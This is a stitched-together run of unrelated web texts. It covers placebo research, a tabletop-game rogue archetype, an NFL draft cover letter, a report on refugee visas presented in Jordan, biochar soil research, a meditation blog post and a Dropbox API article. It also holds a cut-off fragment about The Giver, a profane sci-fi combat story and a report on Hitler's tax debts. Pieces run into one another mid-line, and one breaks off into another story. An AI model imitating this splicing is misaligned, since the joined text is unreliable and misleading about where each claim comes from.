For studies with a binary outcome (improved versus not improved) there was no significant difference between the placebo and no treatment groups. For studies with continuous outcomes, there was some apparent effect of placebo; but not so for objective outcomes that could be measured by someone else, such as blood pressure, but only for subjective outcomes that depended on self-reports, such as pain. They weren’t even sure about that, however, because the effect was greater in smaller trials, indicating possible bias.
But Placebos Do Work, Don’t They?
It’s hard to reconcile a study like this with what we know about placebos from experiences like the case of Jane D. They do seem to work, and they seem to work very dramatically at times.
In a study of pain after dental surgery, patients were given either intravenous morphine or a saline placebo. If they were told that the saline was a powerful new painkiller, they got just as much relief as the patients who received morphine. In another study, all patients were given morphine for post-op pain, but only half were told they were getting it. The patients who didn’t know they were getting it only experienced half as much pain relief. In a study of acupuncture for post-op dental pain, there was no difference between the “real” acupuncture and placebo “sham” acupuncture groups, but when they asked patients which group they thought they were in, they discovered that those who believed they were in the “real” group reported significantly more pain relief than those who believed they were in the “sham” group — regardless of which group they were actually in!
We not only know placebos “work,” we know there is a hierarchy of effectiveness:
Placebo surgery works better than placebo injections
Placebo injections work better than placebo pills
Sham acupuncture treatment works better than a placebo pill
Capsules work better than tablets
Big pills work better than small
The more doses a day, the better
The more expensive, the better
The color of the pill makes a difference
Telling the patient, “This will relieve your pain” works better than saying “This might help.”
In one study patients were given the same aspirin in either a brand name bottle or an unlabelled bottle; it worked better if it was labeled as a brand they recognized. Our pharmacy used to stock two different brands of allergy pills that were made in the same factory and were identical except that one was green and the other was blue. When a patient said it wasn’t working any more, we’d switch him to the other brand and it would start working again.
Along with placebo effects, there are nocebo (“I harm”) effects. People getting inert treatments often report new symptoms. A friend of mine stopped taking her homeopathic sleep remedy because she thought it was causing side effects. (Homeopathy is the ultimate placebo because its remedies usually contain nothing but water.) In the Women’s Health Initiative study of postmenopausal hormone treatment, when the treatment was stopped, 63% of the women taking hormones reported withdrawal symptoms, but so did 40% of the women taking a placebo. If we tell patients a treatment may cause nausea, they are far more likely to report nausea than if we don’t mention that possibility.
The placebo effect is mainly subjective. Placebos don’t work on patients who are asleep or unconscious. You have to know you’re being treated. Placebos don’t keep women from getting pregnant. They don’t cure cancer, heal broken bones, or do anything you can measure objectively. They work for more elusive complaints like headache, depression, itching, shortness of breath, tension, indigestion, and other symptoms that require us to accept the patient’s self-report of what he is experiencing.
That doesn’t imply that those symptoms are not real. Some misguided doctors have tried to use placebo response as a test to diagnose whether a patient is really sick or not. That test doesn’t work, and even if it did it would be unethical.
Some researchers believe that placebos can have objective effects. When doctors painted warts with an inert dye and told patients the wart would disappear when the color wore off, the warts disappeared. Patients with newly implanted pacemakers improved even before the pacemakers were turned on. Asthmatics’ airways dilated when they were told they were getting a bronchodilator. Colitis patients treated with placebo not only reported feeling better but actually had less inflammation of the intestines visible on sigmoidoscopy. Patients with ulcers healed faster when given two placebo pills instead of one.
Harvard University medical researcher Herbert Benson believes that the placebo effect yields clinical improvement for 60–90% of diseases, including angina, asthma, herpes simplex, and ulcers. Studies that have not been replicated have suggested that the placebo effect can influence things like swelling, movement disorders, temperature, pulse, blood pressure, cholesterol, blood sugar, and exercise tolerance.
So far the evidence for objective placebo effects is weak. Another hypothesis is that the placebo effect is only subjective, but that these subjective effects can indirectly lead to objectively measurable effects. For example, if you are in pain and the placebo effect decreases your perception of that pain, you might expect your pulse and blood pressure to drop. If you are asthmatic and are wheezing, any psychological factor that reduces your anxiety level or helps you relax might indirectly ease your breathing symptoms and even allow your constricted bronchi to dilate. In this view, the placebo effect doesn’t really cause objective effects, it allows you to have a different experience of your symptoms and it is that different experience that indirectly affects your physiology. Semantic quibbling, perhaps.
Placebo surgery is another controversial subject. Forty years ago, a young Seattle cardiologist named Leonard Cobb conducted a unique trial of a procedure then commonly used for angina, in which doctors made small incisions in the chest and tied knots in two arteries to try to increase blood flow to the heart. It was a popular technique — 90% of patients reported that it helped — but when Cobb compared it with placebo surgery in which he made incisions but did not tie off the arteries, the sham operations proved just as successful. The procedure, known as internal mammary ligation, was soon abandoned.4
In a more recent study, sham arthroscopic surgery was compared to real arthroscopic surgery for knee osteoarthritis. The patients who had only a skin incision got just as good results. One patient who was told he had the sham procedure still refers to it as the surgery that cured him.
Some people question whether studies like these really show that surgery has a placebo effect. Maybe the surgery was unnecessary and patients would have improved anyway.
How Could It Work?
If the placebo effect is real, what might the mechanism be? We can’t just write it off as delusions of hyper-suggestible patients. There’s evidence that several things might be going on. The main hypotheses are: expectancy, motivation, conditioning, and endogenous opiates.
Expectancy is an established psychological phenomenon. It even affects vision: we are more likely to see what we expect to see. Wine tastes better if the price is higher. Kids like fast food better if it comes in a McDonald’s wrapper. If we expect to feel pain we are more likely to feel pain. If we are told to expect a strong painkiller, we’re more likely to get pain relief. Motivation, the need or desire to improve health or get relief, has been shown to contribute independently to the placebo response. Patients who are strongly motivated to get well are more compliant and follow health advice more conscientiously. And patients who are more compliant about taking their placebo pills regularly get a stronger placebo response. Conditioning is what Pavlov did to his dogs. People learn to associate pills and medical treatments with relief of symptoms. The body even learns physiologic responses: dogs salivate when injected with morphine; after they become conditioned, injecting a placebo makes them salivate, although not as much. Endogenous opiates are pain-relieving chemicals produced in the brain that mimic the effects of opium-like drugs (morphine, etc.). There is some evidence that when patients respond to placebos, their brains produce more of these chemicals. Imaging studies have shown activation of opioid receptors in the brain when people are told that a placebo is a painkiller. And there is evidence that giving a drug that blocks the effect of narcotics can also block the placebo effect.
Dopamine levels increased in the brains of Parkinson’s patients after taking a placebo; and patients who said they felt better released higher levels of dopamine. In another brain imaging study, researchers had patients play a game and estimate their chances of winning. The same reward areas in the brain lit up in subjects who thought they would win as in patients who were most convinced that the placebo painkiller would work. Another study of patients who preferred either Coca Cola or Pepsi found that brand information was processed in a different part of the brain than taste from blind taste tests. We may be seeing clues about how the brain handles anticipation, expectation, optimism, previous experience, or who knows what. There may be genetic differences or differences in dopamine receptor responsiveness. Brain imaging is a blunt tool, and it’s too soon to know what these studies mean, but it’s a promising avenue of research.
Can Animals Respond to Placebos?
Believers in homeopathy and acupuncture tell us that animals respond to those treatments and animals can’t respond to placebos, so that must mean those treatments are effective. But the veterinary literature accepts the reality of placebo response in animals, and there are plausible explanations:
They can develop a learned physiologic response to a drug and then respond similarly when a placebo is substituted. They respond to attention and care from humans. Human owners can experience the placebo effect for their pets by perceiving a response where there really is none. Since animals can’t talk, we have to interpret an animal’s behavior as indicating relief of pain; this may not always be accurate.
What About Ethics?
Some people don’t even want to know whether a treatment is a placebo or not. If they feel better, that’s all that matters to them. In Snake Oil Science: The Truth About Complementary and Alternative Medicine, R. Barker Bausell argues that the primary benefit of alternative therapies is a placebo effect, often enhanced by ritual and impressive pseudoscientific jargon.
If we can give patients a placebo and relieve their pain, what’s wrong with that? If a little white lie benefits the patient, why not lie? The answer is that it’s unethical for doctors to lie to patients or prescribe ineffective treatments, and because deception undermines the doctor-patient relationship in the long run. Also, as Bob Carroll of The Skeptic’s Dictionary points out, “the placebo can be an open door to quackery.”5
In a recent study in Denmark, 48% of doctors reported prescribing a placebo at least 10 times in the last year, including antibiotics for viral infections and vitamins for fatigue. Specialists and hospital-based physicians were less likely to prescribe them. A 2004 study of physicians in Israel found that 60% reported using placebos for reasons like “fending off” requests for unjustified medications or calming a patient.
What if doctors were honest? If they told patients a treatment was a placebo, would that destroy the placebo effect? Maybe not. After clinical trials, patients who were told they’d been taking the placebo have asked if they could keep taking it. In one study patients were told one pill was inert and would only serve as a “dose extender” (i.e., a placebo that would allow a lower dose of the effective pill); patients accepted it and were able to lower their dose. What if a doctor tells a patient a treatment is not supported by any scientific evidence but some people believe it has helped them? Placebos raise ethical dilemmas on which doctors do not agree.
In a recent court case, the proponents of a particular form of quackery known as Q-rays admitted their device was bogus, but argued that since the placebo effect was effective they were justified in selling it. The court disagreed.
Is there any ethical way doctors can use the placebo effect to help their patients? Yes, of course. They already do. The placebo effect is an integral part of every doctor-patient interaction. Good doctors have always gained their patients’ trust and given them hope and reassurance.
What’s effective is not the placebo, but the meaning of the treatment. We enter into a human relationship with a caring person who offers to help us. We may be given a token of that caring in the form of a prescription. We may have a conditioned response to expect improvement because we have been helped in the past. We get a story, a narrative that explains why we feel sick and what we can do to get better. We get hope, support, human warmth, touch. All these factors might lead to an actual physiological response in which our pulse rate drops, we relax, our stress hormones decrease, and other changes facilitate healing, or at least comfort. One study supposedly showed that patients recovered faster if their window looked out on trees rather than a brick wall; even if they didn’t recover faster, wasn’t it nice to give them a view? Even if we can’t document a quantifiable effect on patient outcome, the quality of life is important.
Effective treatments have placebo effects too. A substantial percentage of the effects from antidepressants may be placebo effects. Morphine works even better if your doctor tells you it’s strong.
We can’t isolate placebo effect from conventional medicine — it gets us thinking the wrong way. As the neurologist Robert Burton says, “Even given our advanced state of medical knowledge, much of routine medical care — from treating backaches to the common cold — relies primarily upon reassurance and hope, not disease- specific treatments … we need to reconsider how to facilitate the placebo effect with minimal risk and cost, and without deception.”6
ReferencesRouge Archetype
Alchemist
An alchemist is an expert at combining exotic reagents to produce a variety of materials, from healing draughts that can mend a wound in moments to clinging goo that slows creatures down.
Bonus Proficiencies
When you choose this archetype at 3rd level, you gain proficiency with the alchemist supplies. You add double your proficiency bonus to ability checks using it.
Alchemical Formulas
At 3rd level, you can craft a variety of concoctions. During a short or long rest you may create up to your Intelligence modifier Alchemical Formulas per hour (minimum of 1) of resting provided you have Alchemist Supplies on you. These concoctions are volatile and only remain potent for up to 8 hours.
Resting Remember that during an 8 hour long rest 2 hours of it may be spent doing light activities like concocting your alchemical formulas.
If an Alchemical Formula requres a saving throw, the DC is 8 + your proficiency bonus + your intelligence modifier. Using an Alchemical Formula requires a free hand and an action, and are consumed no matter the outcome.
Alchemical Fire. This sticky, adhesive fluid ignites when exposed to air. You throw this flask up to 30 feet, shattering it on impact. Make a ranged attack against a creature or object, treating the Alchemical Fire as an improvised weapon. On a hit, the target takes 1d6 fire damage and is set on fire. A creature on fire then takes an additional 1d6 fire damage at the start of each of its turns which it can end by using its action to make a Dexterity check against your save DC to extinguish the flames.
Alchemical Acid. You throw the vial up to 30 feet, shattering it on impact. Make a ranged attack against a creature or object, treating the Alchemical Acid as an improvised weapon. On a hit, the target takes 1d6 acid damage, also any creature within 5 feet must make a Dexterity saving throw or take half damage.
Formulas and Attacking As both Alchemical Fire and Alchemical Acid are ranged weapon attacks they can both trigger Sneak Attack under the correct circumstances. Additionally, note that the formulas are improvised weapons, this means you do not add your proficiency bonus to the attack roll unless you are proficient in improvised weapons.
Poison Vial. A colorless, odourless poison that mixes with any liquid expertly crafted for a single deadly dose. You can use the poison in this vial to coat one slashing or piecing weapon or one piece of ammunition. If a creature is willing or has a movement speed of 0 you may directly apply the poison. Applying the poison takes an action. A creature hit by the poisoned weapon or ammunition must make a Constitution saving throw or take poison damage equal to your Sneak Attack Bonus. On damaging a creature the poison is fully used.
Healing Draught. As an action you administer a Healing Draught to a creature within 5 feet of you. A character who drinks the magical red fluid in this vial regains 1d6 + your intelligence modifier hit points. Because of the make up of the formula a creature cannot gain the benefits of the Healing Draught more than once between long rests.
Swift Step Draught. As an action you administer a Swift Step Draught to a willing creature within 5 feet of you. The creatures speed increases by 30 feet, long and high jump distance is tripled and has advantage on dexterity ability checks and saving throws. The effects of the draught last for 1 minute.
Liquid Luck. This thin silky gold liquid makes the recipient incredibly lucky. Use your reaction to take a sip of this golden liquid when you have to make a saving throw or ability check, you gain advantage on that particular saving throw or ability check for the next 1 minute.
Smoke Bomb. You throw a flask of magical smoke at a spot on the ground up to 30 feet away. A 15 foot radius sphere of smoke heavily obstructs vision in the area. The smoke lasts for one minute or until dispersed by a wind of moderate or greater speed.
Sticky Bomb. You throw a flask of writhing sticky black tar at a spot on the ground up to 30 feet away. The tar spreads in a 10 foot radius around the spot adhering to any surface, creature or object in the area, for 1 minute before it disappears. The area becomes difficult terrain and any creature starting their turn in the area must succeed on a Strength saving throw or have their speed reduced to 0 for the rest of their turn. Objects become stuck in place and cannot move for the duration.
Explosive Flask. You throw a flask filled with explosive energy at a spot up to 30 feet away. The flask explodes causing an explosion audible up to 300 feet away. Any creature Large or smaller within 5 feet of the blast must succeed on a Dexterity saving throw or be knocked prone and pushed 5 feet away from the explosion. On a success they are not knocked prone. Additionally, any creature within 30 feet of the blast are deafened until the start of your next turn.Dear NFL Coaches and General Managers:
My name is Michael Thomas, and I am writing to express my interest in becoming your next breakout wide receiver.
Growing up, there was always a football lying around my house, mostly because of my uncle, Keyshawn Johnson. Football ran in the family. So one thing I always knew how to do was catch a football. But I didn’t truly fall in love with the game until my junior year at Taft High School in Los Angeles. I spent most of my youth training to be the best basketball player I could be. Anything that helped me run faster and jump higher — from speed and agility drills to plyometrics and explosion exercises — I did it because it helped me on the court.
Little did I know, the physical tools I was developing as a basketball player would become the foundation on which I would build my skill set as a wide receiver. And as a senior in high school, those skills, combined with my decision to completely devote myself to the game of football, led to a breakout season in which I had 86 catches, 1,656 receiving yards (the most in the state of California) and 21 touchdowns.
I had already committed myself to being the best football player I could possibly be. But once I got a taste of what it felt like to dominate like that, I knew that I needed to do two things to take the next step: focus on learning the nuances of both the game and the wide receiver position, and work like hell.
I have a motto that I live by. It’s advice that has been given to me by countless coaches and mentors, including my uncle Keyshawn.
Control what you can control.
It sounds cliché, I know. But it has worked for me.
For instance, I couldn’t control the number of targets I got at Ohio State. We had an offense loaded with playmakers, and there was only one ball to go around. So while some of the other top receivers in this week’s draft saw 200-plus targets over the last two seasons combined, I only had 157 balls thrown my way.
But what I could control is how many of those balls I came down with — and I caught 110 of those 157 passes, 18 for touchdowns. I also had control over how many times I let the ball hit the ground, and in those two seasons combined I had only five drops. So the number of catches in my stat line might not match that of other prospects, but at the end of the day, when the ball gets thrown my way, it’s a pretty safe bet that it’s getting caught.
I also couldn’t control the type of offense we ran at Ohio State. We ran an offense that didn’t require me to run a lot of go routes from my X position, so there isn’t a lot of film of me burning past cornerbacks off the line of scrimmage. And I’ve heard a lot of draft experts and analysts say that I don’t have the speed to do that, mainly because they haven’t seen me do it.
Urban Meyer believed in me from the day I stepped on campus at Ohio State, but he made me earn every opportunity I got. Nothing was given to me, and he helped mold me into the person and player I am today. His offense may not have called for many go routes, but coach Meyer always put me in a position to succeed. At the same time, my position coach, Zach Smith, and my strength coach, Mick Marotti, always made sure that I was mentally and physically prepared to take advantage of the opportunities coach Meyer gave me to shine.
So I couldn’t control the plays that were called. But what I could control was doing the job I was asked to do and running the routes I was asked to run as effectively as possible. I could control how well I executed the game plan to help our team win.
Let me take you back to Week 11 in 2014, my sophomore year. We were ranked 14th and we were on the road against No. 8 Michigan State, trailing 21–14 late in the second quarter. I ran a slant, J.T. Barrett put it on the money and I took it 79 yards for the game-tying touchdown.
It wasn’t a go route, but I still outran the entire Michigan State defense. I did the job I was asked to do, and I executed the play perfectly. And in football, it doesn’t matter how much speed or talent you have if you can’t execute.
Later that season, after winning the Big Ten title and earning the fourth spot in the first-ever College Football Playoff, we faced No. 1 Alabama in the Sugar Bowl for the chance to move on and play for the national championship.
Nobody gave us a chance against an SEC powerhouse like Alabama.
The Big Ten was getting no respect.
But we couldn’t control what people were saying about us, or who the experts were picking. The only thing we could control was making sure that when we lined up against Alabama and the ball was snapped, we brought our A game.
In that game, against a secondary full of NFL-caliber players, I tied a career-high with seven catches, including a crucial touchdown right before halftime.
We controlled what we could control — the result of that game — and we shocked everybody by beating Alabama on our way to winning the national championship.
The draft process has been more of the same. Just like we couldn’t control what people were saying about Ohio State going into that Sugar Bowl, I can’t control what draft experts and analysts are saying about me, either.
When I ran a 4.57 40-yard dash at the combine, I started once again hearing questions about my speed. So I worked like hell between the combine and my pro day to improve my 40 time, and I got it all the way down to a 4.43, which would have been tied for fourth-fastest among wide receivers at the combine.
Some analysts changed their tune about my speed after that pro day.
I guess maybe I can control what they say … a little.
Thursday night, 31 college football players will get their names called as first-round NFL draft picks. I can’t control whether or not my name is one of them. And if it is, I can’t control which team calls my name.
But when my name is called — whenever and by whomever — what I will be able to control is the amount of work I put in, day in and day out, to be the best NFL player I can possibly be. I will be able to control my level of commitment to my craft, to my teammates and, above all else, to winning. And in doing so, I will do everything in my power to make sure that whoever drafts me not only never regrets it, but looks back on it as one of the best decisions they ever made.
That’s what I will do for you and your team if you draft me.
Kind regards,
Michael Thomas
For more NFL Draft Cover Letters and additional draft coverage, visit our 2016 NFL Draft page.Peter Dutton presents refugee visas to four Syrian, Iraqi families in Jordan ceremony
Updated
Immigration Minister Peter Dutton has officially welcomed the first of 12,000 refugees chosen to resettle in Australia at a ceremony in Jordan.
Key points: Peter Dutton presents first of 12,000 refugees with Australian visas at ceremony in Jordan
Recipients included four families from Syria, Iraq
Families look forward to "beautiful" Australian scenery, education
Dutton hopes they will arrive before Christmas
Thousands of refugees who have fled the ongoing wars in Syria and Iraq will be brought to Australia within the next 18 months.
At a ceremony in Jordan, where he has been visiting the UN's Zaatari refugee camp, Mr Dutton presented the first four families — including 12 children among them — with their visas for Australia.
The families included Sunni Muslim refugees from the war-torn city of Homs in Syria, and Assyrian Christians from the Islamic State-occupied city of Mosul in Iraq.
"We lived in fear," said Khawlah Al Ahdab, a 23-year-old mother from Homs.
"And we were afraid for our children. If they got sick we couldn't take them to doctors or hospitals. It became very difficult for us to live there. There were no schools for them to be educated."
She said she could not describe the feeling of being accepted into Australia.
"I hope my life is about to get better and I can find education for my children and for us. Thanks so much for accepting us," she said.
Bashar Abdul Kader Kujah, 30, a butcher from Homs, said he had looked up pictures of Australia on the internet and found it beautiful.
"Whatever they want from me, I will follow all the rules... and anything that's asked of me I will be ready to do," he said.
"I will be so happy there. It [is] like out of misery I am being born again."
Dutton says he understands refugee's plight 'as a parent'
Officials from the immigration department watched tearfully as Mr Dutton shook hands with the families and said he was excited about their impending arrival in Australia.
"We are very pleased that we will be able to welcome your family and we look forward to you starting your new life in Australia," he said.
He said he hoped the families would arrive in Australia by Christmas.
Asked if the trip had helped alter his mindset in regards to people fleeing war, he said he felt he understood them as a fellow parent.
"I know as a parent that I would do anything for my children and I know that circumstances that people may have experienced in Syria or Iraq or Afghanistan or wherever it may be... that as a parent you would want to flee that circumstance to do whatever was necessary to put your kids in a better position," he said.
But when asked about the Government's border protection policies, he remained steadfast about the fate of Syrians in detention on Nauru and Manus Island.
"Because we don't want to see people smugglers recommence their business," he said.
Jordan is home to more than 600,000 Syrian refugees and some of the families in Zaatari have been living there for as long as four years.
But with no rights to work and food aid being cut by a cash-strapped UN, many are leaving Jordan for Europe as fast as they can, joining a record flow of people traipsing across the continent in search of safety.
Topics: immigration, refugees, terrorism, jordan, australia
First postedUniversity of Tübingen microbiologists show soil microbe communities can be influenced to decrease nitrous oxide emissions.
Introducing biochar into agricultural soils changes the composition and activity of microorganisms in a way that emissions of nitrous oxide -- also known as laughing gas (N 2 O) -- are significantly reduced, according to researchers Johannes Harter and Hans-Martin Krause. Their study was supervised by environmental microbiologist Dr. Sebastian Behrens and geomicrobiologist Professor Andreas Kappler of the Center for Applied Geosciences at the University of Tübingen in cooperation with researchers from the University of Hohenheim. The results are important not only for a sustainable, more effective use of nitrogen fertilizers; they also present a new possibility for reducing greenhouse gas emissions worldwide.
Biochar is produced by high-temperature thermochemical decomposition of organic material, a process known as pyrolysis. Unlike charcoal, which is primarily used to produce heat, biochar is used as a soil supplement in agriculture. Nitrous oxide is produced by nitrogen-transforming microorganisms in the soil, and these emissions increase with the use of nitrogen fertilizers. Biochar's surface properties prevent nutrients from being washed out of poor soils. It also positively influences the abundance, composition, and activity of microorganisms in the soil, which form complex biological communities involving plants and animals. "Soil biochar amendment helps to raise water storage capacity and decrease soil nutrient leaching, which in turn increases soil fertility and can help to reduce greenhouse gas emissions because it stores carbon in the soil," says Sebastian Behrens.
Indigenous peoples in tropical zones of South America and Africa were aware of biochar's positive effect on soil and plant growth thousands of years ago. The current study underlines the importance of biochar research -- because biochar not only has the potential to open profitable new markets for agriculture and industry, it also provides data important to the protection of soils and the climate.There comes a moment in life that tests you. A moment where your worst fears come true. A moment when all of your practice, all of your training, slaps you in the face at a moments notice and tests to see if you’re ready.
It’s often a moment we’re not ready for. A moment we weren’t expecting.
And such is life.
Meditation and mindfulness are easy when you’re in the safety of your home meditating to headspace. But none of that matters if you crumble under the pressures of the realities of life. None of that matters if you collapse when suffering comes unexpectedly, and takes a long time to pass.
How do we react when the the true hardships of life come unexpectedly? How do we react to injury, illness, disease, or at the worst, death of a loved one?
These are the moments when all of your practice, all of your training, matter most.
When everything goes to shit, can you remain non-reactive, can you accept the moment as it is, rather than as you want it to be?
Mindfulness, yoga, meditation are easy to intellectualize and practice, but how easy is it to remain mindful after your doctor diagnosed you with cancer? How easy is it to watch your breath after you find out that a loved one has died? How easy is it to remain ‘aware’ of your feelings when your worst fears have come true?
The practice matters most in the moments when life feeds you a shit sandwich. The moments that happen unexpectedly, unprovoked, without reason. Where life has no method to it’s madness.
I don’t have a solution here. I don’t have an answer. My only recommendation is to take your practice seriously and work hard. Do it as preparation so that when life bitch slaps you in the face with the inevitable hardships that WILL COME, you embody the teachings your practice has instilled within you.
In today’s world where meditation is now trendy, be weary of the trap of relaxation. Don’t look at your practice as another pleasure seeking activity. Train for hardship and suffering, so that when it inevitably arises, you are ready to handle whatever life throws your way.
It’s one thing to meditate. It’s another thing to train. Train for the worst, because it will arise, and when it does, you can beat that motherfucker down with a baseball bat of mindfulness and non-reactivity…in the most gentle way possible 😃
Your thoughts? Please leave a reply!
If you like the article please share it on Facebook and Twitter. And don’t forget to follow me on Medium! :)Dropbox is unveiling a brand new API for developers today that should give mobile app makers an excellent new tool to work with. The Dropbox Sync API allows apps for iOS and Android to treat files stored on a user’s Dropbox account as if they were local, managing syncing, caching, offline access and tracking changes easily so that developers only have to worry about building an app, and not the storage and management of the files users create with said software.
I spoke to Dropbox Product Manager Sean Lynch about the new API and what it can offer developers. Essentially, Lynch said this is yet another attempt by Dropbox to simplify the lives of developers when it comes to creating apps that can work seamlessly across platforms with remotely stored files, just like the Dropbox Chooser the company unveiled back in November 2012.
“Dropbox’s mission is really to let users access their data wherever they are, and that’s not necessarily geographically speaking,” he said. “Whatever device, whatever platform, whether their computer at home, their smartphone or their tablet, iOS or Android, it doesn’t matter; what we want users to be able to expect is whatever device they plug into, they can access their files on Dropbox when they get there.”
That means that helping developers integrated Dropbox access into their apps is of crucial importance to the company’s overall mission, Lynch explained.
“How do we simplify the story of integrating with Dropbox so that we can get developers everywhere integrating with the service?” has been the main question driving new product development on the API side, Lynch said. “The chooser was definitely the first step in that… We released it on a Thursday, and over the Friday and over the weekend we saw developers go home and paste a couple of lines of JavaScript, integrate the Chooser, and launch the following Monday with Dropbox integration.”
The Sync API essentially simplifies the process of integrating Dropbox storage into apps. Using the previous API, as a developer you’d have to download the file, re-try it if it fails, store it somewhere and set up that location, and then also handle re-uploads. Plus, if a user came offline, you’d also have to figure out a way to track the changes and re-upload them when a mobile network connection is available once again.
Now, the Sync API takes care of all of that for developers, handling inconsistent network connections, offline caching, automatic uploading and offline storage all in one. In a release about the news, Squarespace Note developer Chris Cox said the new Sync API cuts the amount of code it takes to integrate Dropbox into his app in half.
Lynch says that Dropbox is excited about what developers will do with the Sync API, beyond the more obvious use cases of making sure that documents edited on mobile devices remain up-to-date and accessible from other platforms. We could very well see some uses similar to how devs have employed the iCloud syncing API from Apple, but with content saved on a user’s own Dropbox account and therefore accessible not just to iOS and Mac devices, but to virtually any computing platform.“Jonas has not been assigned, she informed the crowd, and his heart sank. Then she went on. “Jonas has been selected.”
***
One of the enduring scenes in Lois Lowry’s The Giver – the highly influential young |
into the Bengal’s hull, fucked it’s nose all to hell in the process, but the ass end — the engine end — was unbroken.
Like most drug-dealing scum who stumble into more dumb luck than they deserve, the mule made it back unscathed, its crew drawn like moths to whatever skel bar they called home. There one guy tells another guy until the story falls into the lap of a crudball like Welker, who owes me… owes me big. He figures a lead like this might square his tab.
A grimace tugged at my face. There was thirty ways the story reeked of bullshit. But what if…?
I took another glance at the screen; our shield was pushing up across forty percent. Safety said wait but time was short and ticking fast. I needed to put eyes on the Bengal’s belly.
“Down ninety.”
Thrusters along the top of our hull blazed and Goliath sank, spotlights wheeling up to smear white ovals across the massive carrier’s ruptured gut. My eyes scoured the expanse of grey steel, trying to pick out anything, even the hint of anything, that looked remotely Vanduul. But there was no wing, no angular fuselage. I knew Welker had fucked us even before I saw the Cutlass.
The grey-black ship spun up fast, racks of ambush capacitors flushing life-giving power into her systems in the blink of an eye. She wouldn’t have shields for a few moments; there’s a limit to what can be done to shove those power-hogs any faster. Tiny by comparison, she’d certainly be up-armored and over-gunned; something kinetic that didn’t need a lot of juice to fire. True to stereotype she came out blazing. No monologue, no demands. These guys were pros.
Their gunner was as accurate as he was decisive. The heavy twin-turret perched on the Cutlass’ spine belched a jagged line of shells across the face of our ship. Raufoss rounds by the flash of impact; armor-piercing incendiary. Mil-spec. Rounds like that can chew through the hull of frigate, but Goliath wasn’t some factory-grade Reclaimer. I shoved the stick to one side, slewing our nose off the Cutlass’ line of fire. We were tough, but we weren’t invulnerable.
The Cutlass slid to hold its point of aim and a white starburst splayed across the front window. Sonofabitch was aiming at us, personally, not looking to kill an engine or powerplant so we could have a polite conversation. A quick glance told me our shield spin-up had reached eighty-seven percent. I barked, “Jesse?”
Despite the cannon-fire blazing outside the window, her eyes were glued to the display, fingers dancing madly. She shouted over the din of one-sided battle. “Two-forty starboard, three hundred gets us overlap.”
I keyed the docking thrusters to full and stomped the auxiliaries. Goliath abruptly rolled right, the ball-peen hammering outside the flight deck smearing down our port side, meandering from our nose to the angular belly framed by our engine nacelles.
If you’ve never seen a Reclaimer take off, it’s a helluva sight. Those engines vomit an F5 tornado of flame that can deadlift half a million tons of ship and cargo. As Goliath rolled onto her right shoulder, those engines swung up. The Cutlass got a facefull of nozzle as we opened the barn doors to hell.
Scumbag or not, I had to give their pilot points for reaction speed. The Cutlass lurched to her port, bursting from our thrust column in a howling powerslide of flame and blistered reflec. Her starboard forewing was burned away, edges of the severed stump glowing incandescent orange. Further aft, her entire starboard engine was charred and misshapen. Whispy tendrils of fire stretched out from her innards, writhing into the vacuum of space.
The evasion carried the Cutlass the better part of three hundred meters to our starboard. Maybe more, maybe less. Good enough. A last glance confirmed our shield ring burned full. Both fists gripped my chair as I growled through clenched teeth, “Hit it.”
Jesse’s finger stabbed down on the panel and a coded signal pulsed out, tripping passive sensors in each of twenty-some-odd pieces of debris we had scattered through the area. The warheads buried inside them had been cannibalized from the kind of ordinance you find out here, Marksmen, Stalkers, an old Mark IV torpedo. Nothing sexy, just backyard engineering really, but the Cutlass was within the frag radius of three. One of them floated less than a hundred meters above her top-turret. They all detonated.
There’s no shockwave in space, no atmo to carry the hull-bursting force of compression that ages ago broke the spine of sea-going vessels. Our shields soaked up what few bits of white-hot frag sizzled in our direction.
The Cutlass wasn’t so lucky. When the flash cleared the pirate slid into a slow yaw, venting high-pressure gas from half a dozen holes punched through her hull. Whatever breathable air she contained was hemorrhaging rapidly out into space. The heavy turret was shredded, the gunner reduced to bits of organic splatter.
I looked through our scarred window and zoomed in on the pilot, his cockpit thick with smoke. He yanked frantically at a blaze yellow seat-handle that refused to budge. Judging from the blood spray inside the canopy, whatever punched through the ejector must have caught a piece of him as well.
Goliath edged forward, coming almost nose-to-nose as spider-web fractures fanned across the pirate’s canopy. With a busted ejector, the man inside didn’t have much time. To the whine of hydraulics, Goliath reached out with her huge metal arm.
The pilot and I stared at each other across the airless gap, both of us knowing that I could grab his entire ship and bring it safely into our hold. That’s what civilized people did. But we both knew that was never going to happen. Karma cuts both ways.
Goliath’s massive fist closed and his cockpit burst in a cloud of vapor and shattered plexi.Hitler a tax dodger, says expert
Hitler: The official who wrote off his tax debt was promoted.
BERLIN, Germany (Reuters) -- Adolf Hitler spent years evading taxes and owed German authorities 405,000 Reichsmarks -- equivalent to $8 million today -- by the time his tax debts were forgiven soon after he took power, a researcher says.
Klaus-Dieter Dubon, a retired Bavarian notary and tax expert, said Friday he found Hitler's tax records in a Munich archive. They show the Nazi dictator battled tax collectors for eight years before becoming chancellor in 1933.
"Hitler owed tax but didn't pay it, full stop," Dubon told Reuters on Friday. "He was constantly challenging tax office rulings on his income tax between 1925 and 1932, just like a common citizen. After taking power he didn't pay tax anymore."
Hitler's record as a dictator who started World War II and sent millions of people to their deaths in concentration camps is well known. But the unearthed records show a new, previously undocumented side to his life: as an ordinary tax evader.
Dubon found that Hitler earned 1.232 million Reichsmarks in 1933 from sales of "Mein Kampf" -- his book outlining his doctrine of German racial supremacy and ambitions to annex vast areas of the Soviet Union.
He should have paid tax on 600,000 Reichsmarks of that income but didn't, the researcher found.
Hitler, listed as an "author" in the tax office records, also challenged, delayed or begged permission to pay in installments taxes owed on income he got in preceding years for speeches.
"The 1.232 million Reichsmarks in income in 1933 is a fascinating number," said Dubon, 71.
"It was a huge income when you consider teachers then had annual salaries of 4,800 marks," he said. "As chancellor, Hitler only earned 44,000 Reichsmarks in 1933 but told the tax office he donated that to a charity for widows, which he didn't."
Tax troubles vanished
To lower his taxable income, Hitler resorted to many of the perfectly legal tax avoidance strategies that Germans still use extensively today. He tried to write off his new Mercedes in 1925 as a "company car." In one exchange with tax collectors Hitler described the car as "only a means to an end."
Hitler also later tried to get costs for a desk, book shelves, travel costs, a chauffeur and private secretary deducted from his income tax along with other "professional expenses."
"Hitler was always lodging formal objections and fought the tax office in an absolutely normal way," said Dubon. "Before 1933 it was a normal to and fro. He didn't care about their rulings."
Hitler's troubles with the Munich tax office suddenly vanished shortly after he took power in 1933.
The infamous 1933 Enabling Act gave Hitler dictatorial powers but also helped him win his battles with the Munich tax office for good. The office first declared Hitler liberated from income tax in 1934 and in 1935 absolved him of his past tax debt of 405,494 Reichsmarks.
